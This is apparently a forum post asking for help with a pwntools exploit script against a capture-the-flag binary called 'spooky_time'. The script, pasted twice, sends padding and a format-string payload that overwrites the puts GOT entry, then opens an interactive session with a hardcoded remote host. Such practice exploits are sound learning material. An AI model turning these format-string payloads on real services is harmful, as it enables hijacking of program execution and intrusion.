October 26, 2022 at 2:45 AM
```
from pwn import *
context.binary = binary = ELF("./spooky_time", checksec=False)
got_puts_address=binary.got.puts
junk_payload = b"A"*0x2963
payload = b"%64X%11$n" + b"%4063X%8$hnAAA" + p64(got_puts_address+2) + p64(got_puts_address)
p = remote("167.71.138.188", 31648)
p.send(junk_payload)
p.send(payload)
p.interactive()
```
Can someone fix it and help me out with pwn ? Looks like a GOT overwrite D:
from pwn import *
context.binary = binary = ELF("./spooky_time", checksec=False)
got_puts_address=binary.got.puts
junk_payload = b"A"*0x2963
payload = b"%64X%11$n" + b"%4063X%8$hnAAA" + p64(got_puts_address+2) + p64(got_puts_address)
p = remote("167.71.138.188", 31648)
p.send(junk_payload)
p.send(payload)
p.interactive()
```
Can someone fix it and help me out with pwn ? Looks like a GOT overwrite D:
